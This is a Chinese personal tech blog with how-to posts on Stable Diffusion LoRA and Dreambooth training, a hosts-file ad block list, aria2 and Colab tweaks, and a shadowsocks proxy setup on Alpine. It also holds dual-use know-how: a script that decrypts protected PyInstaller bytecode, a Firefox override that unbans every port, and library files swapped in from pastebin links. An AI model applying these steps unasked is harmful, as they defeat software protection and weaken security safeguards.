熊酱杂记

lora 微调stable diffusion模型

Sat, 08 Jul 2023 08:58:51 GMT

图片准备：

用SD-webui的预处理，不需要修改尺寸。然后批量添加名字到txt

代码下载：

git clone --recurse-submodules https://github.com/Akegarasu/lora-scripts

核心代码：https://github.com/kohya-ss/sd-scripts.git

train4novenv.ps1 文件：

# LoRA train script by @Akegarasu
mkdir output

# Train data path | 设置训练用模型、图片
$pretrained_model = "master\\Chilloutmix-Ni.safetensors" # base model path | 底模路径
$train_data_dir = "train_user\\qq\\in2clip" # train dataset path | 训练数据集路径
$reg_data_dir = "" # directory for regularization images | 正则化数据集路径，默认不使用正则化图像。

# Network settings | 网络设置
$network_module = "networks.lora" # 在这里将会设置训练的网络种类，默认为 networks.lora 也就是 LoRA 训练。如果你想训练 LyCORIS（LoCon、LoHa）等，则修改这个值为 lycoris.kohya
$network_weights = "" # pretrained weights for LoRA network | 若需要从已有的 LoRA 模型上继续训练，请填写 LoRA 模型路径。
$network_dim = 128 # network dim | 常用 4~128，不是越大越好
$network_alpha = 64 # network alpha | 常用与 network_dim 相同的值或者采用较小的值，如 network_dim的一半防止下溢。默认值为 1，使用较小的 alpha 需要提升学习率。

# Train related params | 训练相关参数
$resolution = "640,640" # image resolution w,h. 图片分辨率，宽,高。支持非正方形，但必须是 64 倍数。
$batch_size = 3 # batch size
$max_train_epoches = 100 # max train epoches | 最大训练 epoch
$save_every_n_epochs = 10 # save every n epochs | 每 N 个 epoch 保存一次

$train_unet_only = 0 # train U-Net only | 仅训练 U-Net，开启这个会牺牲效果大幅减少显存使用。6G显存可以开启
$train_text_encoder_only = 0 # train Text Encoder only | 仅训练文本编码器

$noise_offset = 0 # noise offset | 在训练中添加噪声偏移来改良生成非常暗或者非常亮的图像，如果启用，推荐参数为 0.1
$keep_tokens = 0 # keep heading N tokens when shuffling caption tokens | 在随机打乱 tokens 时，保留前 N 个不变。

# Learning rate | 学习率
$lr = "1.2e-5" #"1e-4"
$lr /= 3 # 最佳效果使用DAdaptation跑出的学习率除以三，然后用Lion跑，虽然loss值不是最低，但是效果是最好，最高可以调整到除以二，loss值低，效果也可以。
$unet_lr = $lr
$text_encoder_lr = $lr / 2
$lr_scheduler = "cosine_with_restarts" # "linear", "cosine", "cosine_with_restarts", "polynomial", "constant", "constant_with_warmup"
$lr_warmup_steps = 0 # warmup steps | 仅在 lr_scheduler 为 constant_with_warmup 时需要填写这个值
$lr_restart_cycles = 1 # cosine_with_restarts restart cycles | 余弦退火重启次数，仅在 lr_scheduler 为 cosine_with_restarts 时起效。

# Output settings | 输出设置
$output_name = "qq" # output model name | 模型保存名称
$save_model_as = "safetensors" # model save ext | 模型保存格式 ckpt, pt, safetensors

# 其他设置
$min_bucket_reso = 256 # arb min resolution | arb 最小分辨率
$max_bucket_reso = 1024 # arb max resolution | arb 最大分辨率
$persistent_data_loader_workers = 0 # persistent dataloader workers | 容易爆内存，保留加载训练集的worker，减少每个 epoch 之间的停顿
$clip_skip = 1 # clip skip | 玄学一般用 2 三次元用1

# 优化器设置
$use_8bit_adam = 0 # use 8bit adam optimizer | 使用 8bit adam 优化器节省显存，默认启用。部分 10 系老显卡无法使用，修改为 0 禁用。
$use_lion = 1 # use lion optimizer | 使用 Lion 优化器

# LyCORIS 训练设置
$algo = "lora" # LyCORIS network algo | LyCORIS 网络算法可选 lora、loha。lora即为locon
$conv_dim = 4 # conv dim | 类似于 network_dim，推荐为 4
$conv_alpha = 4 # conv alpha | 类似于 network_alpha，可以采用与 conv_dim 一致或者更小的值

# ============= DO NOT MODIFY CONTENTS BELOW | 请勿修改下方内容 =====================
# Activate python venv
#..\python-kohyass\vwin\Scripts\activate

# 打印学习率
"lr={0:0.00e+0} unet_lr={1:0.00e+0} text_encoder_lr={2:0.00e+0}" -f $lr,$unet_lr,$text_encoder_lr

$Env:HF_HOME = "huggingface"
$ext_args = [System.Collections.ArrayList]::new()

if ($train_unet_only) {
[void]$ext_args.Add("--network_train_unet_only")
}

if ($train_text_encoder_only) {
[void]$ext_args.Add("--network_train_text_encoder_only")
}

if ($network_weights) {
[void]$ext_args.Add("--network_weights=" + $network_weights)
}

if ($reg_data_dir) {
[void]$ext_args.Add("--reg_data_dir=" + $reg_data_dir)
}

if ($use_8bit_adam) {
[void]$ext_args.Add("--use_8bit_adam")
}

if ($use_lion) {
[void]$ext_args.Add("--use_lion_optimizer")
}

if ($persistent_data_loader_workers) {
[void]$ext_args.Add("--persistent_data_loader_workers")
}

if ($network_module -eq "lycoris.kohya") {
[void]$ext_args.Add("--network_args")
[void]$ext_args.Add("conv_dim=$conv_dim")
[void]$ext_args.Add("conv_alpha=$conv_alpha")
[void]$ext_args.Add("algo=$algo")
}

if ($noise_offset) {
[void]$ext_args.Add("--noise_offset=$noise_offset")
}

# run train
accelerate launch --num_cpu_threads_per_process=12 "./sd-scripts/train_network.py" `
--enable_bucket `
--pretrained_model_name_or_path=$pretrained_model `
--train_data_dir=$train_data_dir `
--output_dir="./output" `
--logging_dir="./logs" `
--resolution=$resolution `
--network_module=$network_module `
--max_train_epochs=$max_train_epoches `
--learning_rate=$lr `
--unet_lr=$unet_lr `
--text_encoder_lr=$text_encoder_lr `
--lr_scheduler=$lr_scheduler `
--lr_warmup_steps=$lr_warmup_steps `
--lr_scheduler_num_cycles=$lr_restart_cycles `
--network_dim=$network_dim `
--network_alpha=$network_alpha `
--output_name=$output_name `
--train_batch_size=$batch_size `
--save_every_n_epochs=$save_every_n_epochs `
--mixed_precision="fp16" `
--save_precision="fp16" `
--seed="2333" `
--cache_latents `
--clip_skip=$clip_skip `
--prior_loss_weight=1 `
--max_token_length=225 `
--caption_extension=".txt" `
--save_model_as=$save_model_as `
--min_bucket_reso=$min_bucket_reso `
--max_bucket_reso=$max_bucket_reso `
--keep_tokens=$keep_tokens `
--shuffle_caption $ext_args --xformers
Write-Output "Train finished"
Read-Host | Out-Null ;

Dreambooth on Windows 12G显存3060快速训练(fine tune) Stable diffusuion

Sun, 11 Dec 2022 02:36:05 GMT

Dreambooth可以根据少至几张，多至无穷张图片，来精调stable diffusion的模型，训练效果优于embedding和hypernetwork。原训练方法需要24G现存，经过优化后的脚本可以在12G的3060上训练，并且本文将在windows使用的方法记录下来，且无需wsl。

本文使用CCRcmcpe/diffusers分支，支持arb变分辨率训练，无需将图片裁剪至512*512，可直接将任意比例的原图拿来训练。

可以训练stable diffusion 1.5，naifu，anything3.0等所有模型。

首先是环境，安装python3.10，建议使用miniconda的环境。一定要python3.10。下面二选一

miniconda：https://docs.conda.io/en/latest/miniconda.html
官方python：https://www.python.org/downloads/

进入python的cmd环境，构建一个虚拟环境。

python.exe -m pip install --upgrade pip
pip install virtualenv
virtualenv vwin
vwin\Scripts\activate

下载训练脚本

https://github.com/CCRcmcpe/diffusers/archive/748f64e47cd6fe3ebe5e6fe7011ee90c5a672fd3.zip

解压到diffusers目录，然后进入目录，安装依赖

cd diffusers
pip install -e .
cd examples\dreambooth
pip install -U -r requirements.txt
pip install OmegaConf
pip install pytorch_lightning
pip install einops
pip install bitsandbytes==0.34
pip install torch==1.12.1+cu116 torchvision==0.13.1+cu116 --extra-index-url https://download.pytorch.org/whl/cu116

魔改bitsandbytes库让他支持windows。

下载：https://github.com/DeXtmL/bitsandbytes-win-prebuilt/archive/refs/heads/main.zip
将libbitsandbytes_cuda116.dll 文件手动拷贝到工作目录下的 venv_diffusers\Lib\site-packages\bitsandbytes 中，位于 libbitsandbytes_cuda116.so 的旁边。
将 cextension.py: https://pastebin.com/jjgxuh8V 覆盖到vwin\Lib\site-packages\bitsandbytes目录。
将 main.py: https://pastebin.com/BsEzpdpw 覆盖到vwin\Lib\site-packages\bitsandbytes\cuda_setup目录。

安装xformers。

下载：https://github.com/C43H66N12O12S2/stable-diffusion-webui/releases/download/f/xformers-0.0.14.dev0-cp310-cp310-win_amd64.whl
pip install xformers-0.0.14.dev0-cp310-cp310-win_amd64.whl

设置accelerate

accelerate config

In which compute environment are you running? ([0] This machine, [1] AWS (Amazon SageMaker)): 0
Which type of machine are you using? ([0] No distributed training, [1] multi-CPU, [2] multi-GPU, [3] TPU [4] MPS): 0
Do you want to run your training on CPU only (even if a GPU is available)? [yes/NO]:NO
Do you want to use DeepSpeed? [yes/NO]:NO
Do you wish to use FP16 or BF16 (mixed precision)? [NO/fp16/bf16]: fp16

大功告成，可以准备数据集，开始训练了。下面脚本的具体路径根据实际情况修改。在vwin的目录下执行。

首次执行可能需要将ckpt文件拆包。

下载模型描述：https://huggingface.co/runwayml/stable-diffusion-v1-5/blob/main/v1-inference.yaml
python diffusers\scripts\convert_original_stable_diffusion_to_diffusers.py --checkpoint_path model.ckpt --original_config_file v1-inference.yaml --scheduler_type ddim --dump_path models/diffusers_model

以后每次执行下面的命令来训练。LR(lerning rate)通常设置1e-6到5e-6。

根据经验，LR=2e-6，100张图训练40epoch或4000步左右模型效果最佳，训练过多会过拟合。

set MODEL_NAME="models/diffusers_model"
set INSTANCE_DIR="your_dataset_image_folder"
set OUTPUT_DIR="where_do_you_want_to_generate_your_model"
set INSTANCE_PROMPT="prompt of your dataset"
set SAVE_SAMPLE_PROMPT="What prompt to generate samples"
set WANDB_PROJECT="DB-SD1.5"
set LR=2e-6
set EPOCH=100
set SAVE_INTERVAL=10
set BATCH=2

accelerate launch diffusers\examples\dreambooth\train_dreambooth.py --pretrained_model_name_or_path=%MODEL_NAME% --pretrained_vae_name_or_path=%MODEL_NAME%\vae --instance_data_dir=%INSTANCE_DIR% --output_dir=%OUTPUT_DIR% --instance_prompt=%INSTANCE_PROMPT% --resolution=512 --train_batch_size=%BATCH% --gradient_accumulation_steps=1 --learning_rate=%LR% --lr_scheduler="constant" --lr_warmup_steps=0 --num_train_epochs=%EPOCH% --save_interval_epochs=%SAVE_INTERVAL% --mixed_precision="fp16" --optimizer="adamw_8bit" --wandb --wandb_project=%WANDB_PROJECT% --use_aspect_ratio_bucket --not_cache_latents --save_unet_half --seed=23333 --save_sample_prompt=%SAVE_SAMPLE_PROMPT% --n_save_sample=1

如果能够训练，但在保存后爆显存，可能是因为生成预览图的时候显存不足。可不生成预览。修改：

diffusers\examples\dreambooth\train_dreambooth.py
563行 if save_sample:
改为 if save_sample and args.seed!=23333:

训练完打包ckpt：

python diffusers\scripts\convert_diffusers_to_original_stable_diffusion.py --model_path models/resultModel --checkpoint_path result.ckpt --half

我一般批量：

set MODEL_PATH=JFTBO60
set OUTPUT_PATH=E:\model
set MODEL_NAME=trained_
set START=541
set END=5400

set F1=%START%
set /a F2=%START%-1
set /a F3=%END%

for /l %%i in (%F1%,%F2%,%F3%) do python diffusers\scripts\convert_diffusers_to_original_stable_diffusion.py --model_path %MODEL_PATH%\%%i --checkpoint_path %OUTPUT_PATH%\%MODEL_NAME%%%i.ckpt --unet_half
python diffusers\scripts\convert_diffusers_to_original_stable_diffusion.py --model_path %OUTPUT_PATH%\%END% --checkpoint_path %OUTPUT_PATH%\%MODEL_NAME%%END%.ckpt --unet_half
pause

生成的ckpt就可以用了。如果在AUTOMATIC1111/stable-diffusion-webui中载入生成的图片全是花的，有可能时vae未载入。解决方法挑选一个：

1.先载入原模型再载入训练的模型
2.复制（或者hard link）原模型的vae，修改名称和新模型一样
3.webui设置中指定载入的vae

参考：

Dreambooth on Windows ：https://gist.github.com/Summersoff/70861d757a40c153c5802dc8c4ed68c0

bitsandbytes issue：https://github.com/TimDettmers/bitsandbytes/issues/30#issuecomment-1257676341

python 解包exe简略流程

Thu, 13 Mar 2025 07:43:58 GMT

1.用tool的pyinstxtractor.py xxx.exe解包工具地址 https://github.com/extremecoders-re/pyinstxtractor
2.打开16进制修改工具，如ultraedit，将主文件参考struct.pyc添加/修改头，通常为 b"\x42\x0D\x0D\x0A\x00\x00\x00\x00\x70\x79\x69\x30\x10\x01\x00\x00"
3.用 uncompyle6 -o . xx.pyc 还原pyc，可pip安装
4.如加密了，先用上述方式还原 pyimod00_crypto_key.pyc ，找到密码key
参考decrypt_pyc.py 还原待解密的pyc，再uncompyle6还原pyc

import zlib
import tinyaes

CHIPHER_BLOCK_SIZE = 16

key = b"12345"
pyc_header = b"\x42\x0D\x0D\x0A\x00\x00\x00\x00\x70\x79\x69\x30\x10\x01\x00\x00"
file_input='PYZ-00.pyz_extracted/crackme.pyc.encrypted'

def dec_file(filename):
    foutput=filename.strip('encrypted')[:-1]
    with open(filename, "rb") as en_f:
        with open(foutput, "wb") as de_f:
            origin_encrypted_data = en_f.read()

            # Decrypt program path: https://github.com/pyinstaller/pyinstaller/blob/faee2a99deae6c9f8e1e67606a5f43af974e3fd4/PyInstaller/loader/pyimod02_archive.py#L264
            cipher = tinyaes.AES(key, origin_encrypted_data[:CHIPHER_BLOCK_SIZE])
            decrypted_data = cipher.CTR_xcrypt_buffer(origin_encrypted_data[CHIPHER_BLOCK_SIZE:])

            plaintext = zlib.decompress(decrypted_data)

            de_f.write(pyc_header)
            de_f.write(plaintext)
    print(f'{foutput} Done!')

if __name__ == "__main__":
    dec_file(file_input)
    print('All Done!')

firefox 浏览奇怪端口网站

Sat, 01 Oct 2022 02:32:06 GMT

访问奇怪端口的网站，firefox报错：此网址使用了一个通常用于网络浏览以外目的的端口。出于安全原因，Firefox 取消了该请求。

解决：

访问 about:config

搜索 network.security.ports.banned.override

新建字符串，输入 0-65535

点勾确认。

conda打包运行环境

Tue, 06 Sep 2022 01:57:12 GMT

参考自 https://www.anaconda.com/blog/moving-conda-environments

安装打包软件

conda install -c conda-forge conda-pack

或者

pip install conda-pack

然后打包

conda pack -n my_env -o out_name.tar.gz

打包文件解压到目录就可以了。有时候需要激活环境才能运行，大部分时候可以直接使用python

source my_env/bin/activate

就酱。

p106-90魔改简要记录

Sun, 25 Oct 2020 12:13:48 GMT

删掉驱动，安装417.22版驱动

打开regedit，找到 [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000-0009(具体看自己注册表)]

找到adapter type这个键，键值改4或者0

另一个键EnableMsHybrid的值改为1

设备管理器里，把P106禁用，然后再启用，重启之后 NVIDIA驱动面板就可以像笔记本那样打开了并且全局设置里，可以切换集成显卡和高性能显卡。

微信：加载小程序浏览器组件失败解决方案

Mon, 23 Mar 2020 06:59:21 GMT

微信无法加载小程序问题，报加载小程序浏览器组件失败。

这个问题存在于play版微信，使用miui双开程序后分身打开小程序报错。

解决：

将 /android/obb/com.tencent.mm 下的文件复制到分身中对应位置。

解决小米电视广告

Sat, 13 Mar 2021 23:41:41 GMT

127.0.0.1 localhost

0.0.0.0 XiaoQiang

0.0.0.0 api.ad.xiaomi.com
0.0.0.0 sdkconfig.ad.xiaomi.com
0.0.0.0 ad.mi.com
0.0.0.0 ad.xiaomi.com
0.0.0.0 ad1.xiaomi.com

0.0.0.0 adv.sec.miui.com
0.0.0.0 test.ad.xiaomi.com
0.0.0.0 new.api.ad.xiaomi.com

0.0.0.0 cdn.ad.xiaomi.com
0.0.0.0 e.ad.xiaomi.com
0.0.0.0 test.new.api.ad.xiaomi.com

0.0.0.0 ssp.ad.xiaomi.com
0.0.0.0 o2o.api.xiaomi.com

# tcpdump

0.0.0.0 api.cupid.ptqy.gitv.tv

# others

0.0.0.0 stat.pandora.xiaomi.com
0.0.0.0 upgrade.mishop.pandora.xiaomi.com
0.0.0.0 logonext.tv.kuyun.com
0.0.0.0 config.kuyun.com
0.0.0.0 api.io.mi.com
0.0.0.0 mishop.pandora.xiaomi.com
0.0.0.0 dvb.pandora.xiaomi.com
0.0.0.0 de.pandora.xiaomi.com
0.0.0.0 data.mistat.xiaomi.com
0.0.0.0 jellyfish.pandora.xiaomi.com
#0.0.0.0 gallery.pandora.xiaomi.com
0.0.0.0 o2o.api.xiaomi.com
0.0.0.0 bss.pandora.xiaomi.com
0.0.0.0 gvod.aiseejapp.atianqi.com
#屏蔽自动更新和安装有品
0.0.0.0 package.cdn.pandora.xiaomi.com
0.0.0.0 package.box.xiaomi.com
0.0.0.0 ota.cdn.pandora.xiaomi.com

0.0.0.0 auth.api.gitv.tv
0.0.0.0 misc.pandora.xiaomi.com
0.0.0.0 tvapi.kuyun.com
0.0.0.0 tv.aiseet.atianqi.com
0.0.0.0 vv.play.aiseet.atianqi.com
0.0.0.0 gallery.pandora.xiaomi.com
0.0.0.0 alog.umeng.com
0.0.0.0 pandora.mi.com
0.0.0.0 tvapi.kuyun.com
0.0.0.0 assistant.pandora.xiaomi.com
0.0.0.0 tracking.miui.com
0.0.0.0 misc.pandora.xiaomi.com
0.0.0.0 omgmta.play.aiseet.atianqi.com
0.0.0.0 starfish.pandora.xiaomi.com
0.0.0.0 misc.in.duokanbox.com

0.0.0.0 adeng.hpplay.cn
0.0.0.0 adcdn.hpplay.cn
0.0.0.0 sl.hpplay.cn
0.0.0.0 rp.hpplay.cn

0.0.0.0 t7z.cupid.iqiyi.com
0.0.0.0 livew.l.qq.com
0.0.0.0 b.netcheck.gallery.pandora.xiaomi.com
0.0.0.0 sdkconfig.ad.intl.xiaomi.com
0.0.0.0 ad.doubleclick.net
0.0.0.0 v.admaster.com.cn
0.0.0.0 g.dtv.cn.miaozhan.com

0.0.0.0 hub5btmain.sandai.net
0.0.0.0 hub5emu.sandai.net
0.0.0.0 upgrade.xl9.xunlei.com
0.0.0.0 staging.ai.api.xiaomi.com
0.0.0.0 79t2.admaster.com.cn
0.0.0.0 secure-chn.imrworldwide.com
0.0.0.0 www.miaozhen.com
0.0.0.0 alert.kuyun.com
0.0.0.0 adp.atm.youku.com
0.0.0.0 iyes.youku.com
0.0.0.0 m.atm.youku.com
0.0.0.0 mf.atm.youku.com
0.0.0.0 mobilemsg.youku.com
0.0.0.0 push.m.youku.com
0.0.0.0 bsv.atm.youku.com
0.0.0.0 count.atm.youku.com
0.0.0.0 dmapp.youku.com
0.0.0.0 html.atm.youku.com
0.0.0.0 ipm.atm.youku.com
0.0.0.0 myes.youku.com
0.0.0.0 r.l.youku.com
0.0.0.0 service.danmu.youku.com
0.0.0.0 statis.mobile.youku.com
0.0.0.0 v2html.atm.youku.com
0.0.0.0 val.atm.youku.com
0.0.0.0 valb.atm.youku.com
0.0.0.0 valc.atm.youku.com
0.0.0.0 valf.atm.youku.com
0.0.0.0 valp.atm.youku.com
0.0.0.0 valt.atm.youku.com
0.0.0.0 ems.youku.com
0.0.0.0 m2.da.mgtv.com
0.0.0.0 mobile2.da.mgtv.com
0.0.0.0 as.mgtv.com
0.0.0.0 cdn.cmop.mgtv.com
0.0.0.0 cmop.mgtv.com
0.0.0.0 imgaliyun.res.mgtv.com
0.0.0.0 mobaliyun.res.mgtv.com
0.0.0.0 mobile.da.mgtv.com
0.0.0.0 pc.da.mgtv.com
0.0.0.0 pc1.da.mgtv.com
0.0.0.0 pcvideoaliyun.titan.mgtv.com
0.0.0.0 pcvideoyd.titan.mgtv.com
0.0.0.0 pcweb-v1.log.mgtv.com
0.0.0.0 pcweb.v1.mgtv.com
0.0.0.0 py.da.mgtv.com
0.0.0.0 v1-play.log.mgtv.com
0.0.0.0 v2.da.mgtv.com
0.0.0.0 v2.log.mgtv.com
0.0.0.0 web.da.mgtv.com
0.0.0.0 x.da.mgtv.com
0.0.0.0 y.da.mgtv.com
0.0.0.0 imgaliyun.da.mgtv.com

0.0.0.0 cdn.ad.xiaomi.com
0.0.0.0 img.gwwzp.com
0.0.0.0 img.baotoushanghui.com
0.0.0.0 m1g816.nokia333.com
0.0.0.0 img.aahtek.com
0.0.0.0 adcontent.videoegg.com
0.0.0.0 core.videoegg.com
0.0.0.0 beacon.videoegg.com
0.0.0.0 amconf.videoegg.com
0.0.0.0 ads.ethicalads.net
0.0.0.0 ethicalads.net
0.0.0.0 ad.ethicalads.net
0.0.0.0 www.adtaily.com
0.0.0.0 static.adtaily.com
0.0.0.0 assets.adtaily.com
0.0.0.0 aos.gw.youmi.net
0.0.0.0 stat.gw.youmi.net
0.0.0.0 banner.img.static.youmi.net
0.0.0.0 ads.youmi.net
0.0.0.0 aos.wall.youmi.net
0.0.0.0 r.youmi.net
0.0.0.0 bea4.v.fwmrm.net
0.0.0.0 m2.fwmrm.net
0.0.0.0 2a86.v.fwmrm.net
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0.0.0.0 ym.bannerconnect.net
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0.0.0.0 100cpc.com
0.0.0.0 cnxad.com
0.0.0.0 cnxad.net
0.0.0.0 7794.com
0.0.0.0 js.12l22.net
0.0.0.0 11l11.net
0.0.0.0 7794lm.com
0.0.0.0 kk7kk.com
0.0.0.0 99g99.net
0.0.0.0 12l22.net
0.0.0.0 77power.com
0.0.0.0 yigao.com
0.0.0.0 8dulm.com
0.0.0.0 yunads.com
0.0.0.0 huimee.com
0.0.0.0 i.ipinyou.com
0.0.0.0 778669.com
0.0.0.0 adk2.com
0.0.0.0 popads.net
0.0.0.0 popadscdn.net
0.0.0.0 37cs.com
0.0.0.0 yinooo.com
0.0.0.0 6dad.com
0.0.0.0 jdlhg.com
0.0.0.0 yongv.com
0.0.0.0 yy32.com
0.0.0.0 qiyou.com
0.0.0.0 5ufo.com
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0.0.0.0 yiwad.com
0.0.0.0 p.yiqifa.com
0.0.0.0 70link.com
0.0.0.0 7clink.com
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0.0.0.0 cpro.baidustatic.com
0.0.0.0 pos.baidu.com
0.0.0.0 cb.baidu.com
0.0.0.0 imageplus.baidu.com
0.0.0.0 a.baidu.com
0.0.0.0 cbjs.baidu.com
0.0.0.0 ecma.bdimg.com
0.0.0.0 impservice2.youdao.com
0.0.0.0 acs86.com
0.0.0.0 o2omobi.com
0.0.0.0 fastapi.net
0.0.0.0 ex.umengcloud.com
0.0.0.0 ex.mobmore.com
0.0.0.0 zj66.net
0.0.0.0 adwo.com
0.0.0.0 tanx.com
0.0.0.0 1688.com
0.0.0.0 alimama.com
0.0.0.0 taobao.com
0.0.0.0 tmall.com
0.0.0.0 m.simba.taobao.com
0.0.0.0 ad-stir.com
0.0.0.0 adpooh.com
0.0.0.0 humanding.com
0.0.0.0 yule8.net
0.0.0.0 ju33.com
0.0.0.0 pdsjycm.com
0.0.0.0 inmobi.com
0.0.0.0 ad.daum.net
0.0.0.0 lianmeng.admin5.com
0.0.0.0 union.admin5.com
0.0.0.0 zampdsp.com
0.0.0.0 serving-sys.com
0.0.0.0 snssdk.com
0.0.0.0 mobile.zhongguowangshi.com
0.0.0.0 tuyaya.com
0.0.0.0 youdao.com
0.0.0.0 meitu.com
0.0.0.0 meitudata.com
0.0.0.0 mapp.meitu.com
0.0.0.0 api.webapp.58.com
0.0.0.0 api.wireless.58.com
0.0.0.0 58.com
0.0.0.0 fotoable.com
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0.0.0.0 gamesdk.m.duoku.com
0.0.0.0 doodlemobile.com
0.0.0.0 static.51y5.net
0.0.0.0 shouji.360tpcdn.com
0.0.0.0 ikuaishou.com
0.0.0.0 51tv.com
0.0.0.0 .51tv.com
0.0.0.0 mvads.kugou.com
0.0.0.0 img.momocdn.com
0.0.0.0 25pp.com
0.0.0.0 ad-cache.dopool.com
0.0.0.0 show.m.mediav.com
0.0.0.0 adm.easou.com
0.0.0.0 api.moji.com
0.0.0.0 yuanfen5.com
0.0.0.0 advert.mobile.meituan.com
0.0.0.0 elong.com
0.0.0.0 img1.126.net
0.0.0.0 ifeng.com
0.0.0.0 bitauto.com
0.0.0.0 market.21cn.com
0.0.0.0 ad-resource.huanqiu.com
0.0.0.0 p2.pstatp.com
0.0.0.0 pstatp.com
0.0.0.0 m.cctv.com
0.0.0.0 apas.aipai.com
0.0.0.0 js.2011.8684.com
0.0.0.0 mt4.baidu.com
0.0.0.0 wapiknow.bdimg.com
0.0.0.0 navad.117q.com
0.0.0.0 ims.117q.com
0.0.0.0 iee5.com
0.0.0.0 ad.yuanfenup.com
0.0.0.0 api.cp.guiji.com
0.0.0.0 m.haoghost.com
0.0.0.0 prscripts.com
0.0.0.0 static.yujiehenaishang.com
0.0.0.0 ap.tnkfactory.com
0.0.0.0 ysjwj.com
0.0.0.0 rwjfs.com
0.0.0.0 wqsph.net
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0.0.0.0 ads1.greystripe.com
0.0.0.0 ads2.greystripe.com
0.0.0.0 ads3.greystripe.com
0.0.0.0 ads4.greystripe.com
0.0.0.0 ads5.greystripe.com
0.0.0.0 gmc.cmgame.com
0.0.0.0 drm.cmgame.com
0.0.0.0 s.csbew.com
0.0.0.0 app.ysapk.com
0.0.0.0 sstc360.com
0.0.0.0 ad-brix.com
0.0.0.0 leadboltads.net
0.0.0.0 admin.appnext.com
0.0.0.0 gdprob.b0.upaiyun.com
0.0.0.0 adshow.b0.upaiyun.com
0.0.0.0 cmigate.com
0.0.0.0 websystem.b0.upaiyun.com
0.0.0.0 adtina.com
0.0.0.0 play.api.3g.tudou.com

::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

编译aria2，修改并发线程限制

Sat, 02 Jun 2018 10:04:52 GMT

由于aria2官方源码带有16线程单任务并发限制，而百度盘单线程只给100k/s，所以有必要增加线程数，那就需要自行下载源码进行编译了。

源码下载地址：https://github.com/aria2/aria2/releases/

cd aria2-1.34.0
vi ./src/OptionHandlerFactory.cc

修改 TEXT_MAX_CONNECTION_PER_SERVER 后参数。此处修改为-1，小机器我限速9000k/s。

    OptionHandler* op(new NumberOptionHandler(PREF_MAX_CONNECTION_PER_SERVER,
                                              TEXT_MAX_CONNECTION_PER_SERVER,
                                              "128", 1, -1, 'x'));

然后开始编译。

sudo apt-get install -y wget libcurl4-openssl-dev libevent-dev ca-certificates libssl-dev pkg-config build-essential intltool libxml2-dev libgcrypt-dev libssl-dev
./configure
make
sudo make install

就酱。

使用谷歌colab练习深度学习

Sat, 27 Jan 2018 13:01:16 GMT

首先登陆谷歌网盘https://drive.google.com

创建相应文件夹，上传或者创建ipynb文件。右键> More > Colaboratory即可创建。

双击文件，点击上方open with Colaboratory进入colab。

修改python版本及gpu分配在Edit > Notebook settings or Runtime>Change runtime type

添加谷歌网盘依赖并按提示授权

!apt-get install -y -qq software-properties-common python-software-properties module-init-tools
!add-apt-repository -y ppa:alessandro-strada/ppa 2>&1 > /dev/null
!apt-get update -qq 2>&1 > /dev/null
!apt-get -y install -qq google-drive-ocamlfuse fuse
from google.colab import auth
auth.authenticate_user()
from oauth2client.client import GoogleCredentials
creds = GoogleCredentials.get_application_default()
import getpass
!google-drive-ocamlfuse -headless -id={creds.client_id} -secret={creds.client_secret} < /dev/null 2>&1 | grep URL
vcode = getpass.getpass()
!echo {vcode} | google-drive-ocamlfuse -headless -id={creds.client_id} -secret={creds.client_secret}

挂载云盘，这样训练产生的一些文件可以被保存到云盘里

!mkdir -p drive
!google-drive-ocamlfuse drive

其他命令

!wget https://raw.githubusercontent.com/vincentarelbundock/Rdatasets/master/csv/datasets/Titanic.csv -P drive/app
!pip install -q keras

目前云端配置为

单核志强2.2G
内存13G
显卡k80

参考文章

https://medium.com/deep-learning-turkey/google-colab-free-gpu-tutorial-e113627b9f5d

alpine镜像构建与OpenVZ下开启BBR拥塞控制，并开启暴力BBR算法

Sat, 22 Jul 2017 05:48:16 GMT

本文部分转自https://www.fanyueciyuan.info/jsxj/OpenVZ_BBR_UML_Alpine_Linux.html

安装uml

apt-get install uml-utilities

在OpenVZ（须TUN/TAP支持）环境中通过UML（User Mode Linux）开启BBR。

1，制作Alpine Linux镜像

在KVM的Debian 8上制作需要使用的镜像。

关于Alpine Linux，详情查看其官网。

首先写一个ext4格式的空镜像，打上ROOT的标签，方便写fstab。然后挂载到alpine目录下

dd if=/dev/zero of=alpine_mini bs=1M count=150
mkfs.ext4 -L ROOT alpine_mini
mkdir alpine
mount -o loop alpine_mini alpine

这里Alpine Linux版本选择3.5，下载相应的apk tool，把基本的系统写入到空镜像中

REL="v3.5"
REL=${REL:-edge}
MIRROR=${MIRROR:-http://nl.alpinelinux.org/alpine}
REPO=$MIRROR/$REL/main
ARCH=$(uname -m)
ROOTFS=${ROOTFS:-alpine}
APKV=`curl -s $REPO/$ARCH/APKINDEX.tar.gz | tar -Oxz | grep -a '^P:apk-tools-static$' -A1 | tail -n1 | cut -d: -f2`
mkdir tmp
curl -s $REPO/$ARCH/apk-tools-static-${APKV}.apk | tar -xz -C tmp sbin/apk.static
tmp/sbin/apk.static --repository $REPO --update-cache --allow-untrusted --root $ROOTFS --initdb add alpine-base
printf '%s\n' $REPO > $ROOTFS/etc/apk/repositories

接下来最重要的是写分区表，将下面的东西写入到alpine/etc/fstab文件中

# 
# /etc/fstab: static file system information
#
# <file system>	<dir>	<type>	<options>	<dump>	<pass>
LABEL=ROOT / auto defaults 1 1

其他的配置，都可以进入镜像后再操作。

由于宿主机里面本身就有go版本的ss了，直接从系统里面复制一下，配置里面修改个端口就行了。

mkdir alpine/etc/shadowsocks-go
cp /usr/local/bin/ss-goserver alpine/usr/local/bin
cp /etc/shadowsocks-go/config.json alpine/etc/shadowsocks-go

如果没有，可以直接去官网下载最新版。

#注，可后续安装python版本

apk update
apk add wget
apk add py-pip
wget https://github.com/shadowsocks/shadowsocks/archive/master.zip --no-check-certificate
unzip master.zip
/root/shadowsocks-master/shadowsocks/server.py -p 9191 -m aes-256-gcm --workers 5 -k passwd &

顺便修改下alpine/etc/sysctl.conf，配合ss优化一番。

# max open files
fs.file-max = 51200
# max read buffer
net.core.rmem_max = 67108864
# max write buffer
net.core.wmem_max = 67108864
# default read buffer
net.core.rmem_default = 65536
# default write buffer
net.core.wmem_default = 65536
# max processor input queue
net.core.netdev_max_backlog = 4096
# max backlog
net.core.somaxconn = 4096
# resist SYN flood attacks
net.ipv4.tcp_syncookies = 1
# reuse timewait sockets when safe
net.ipv4.tcp_tw_reuse = 1
# turn off fast timewait sockets recycling
net.ipv4.tcp_tw_recycle = 0
# short FIN timeout
net.ipv4.tcp_fin_timeout = 30
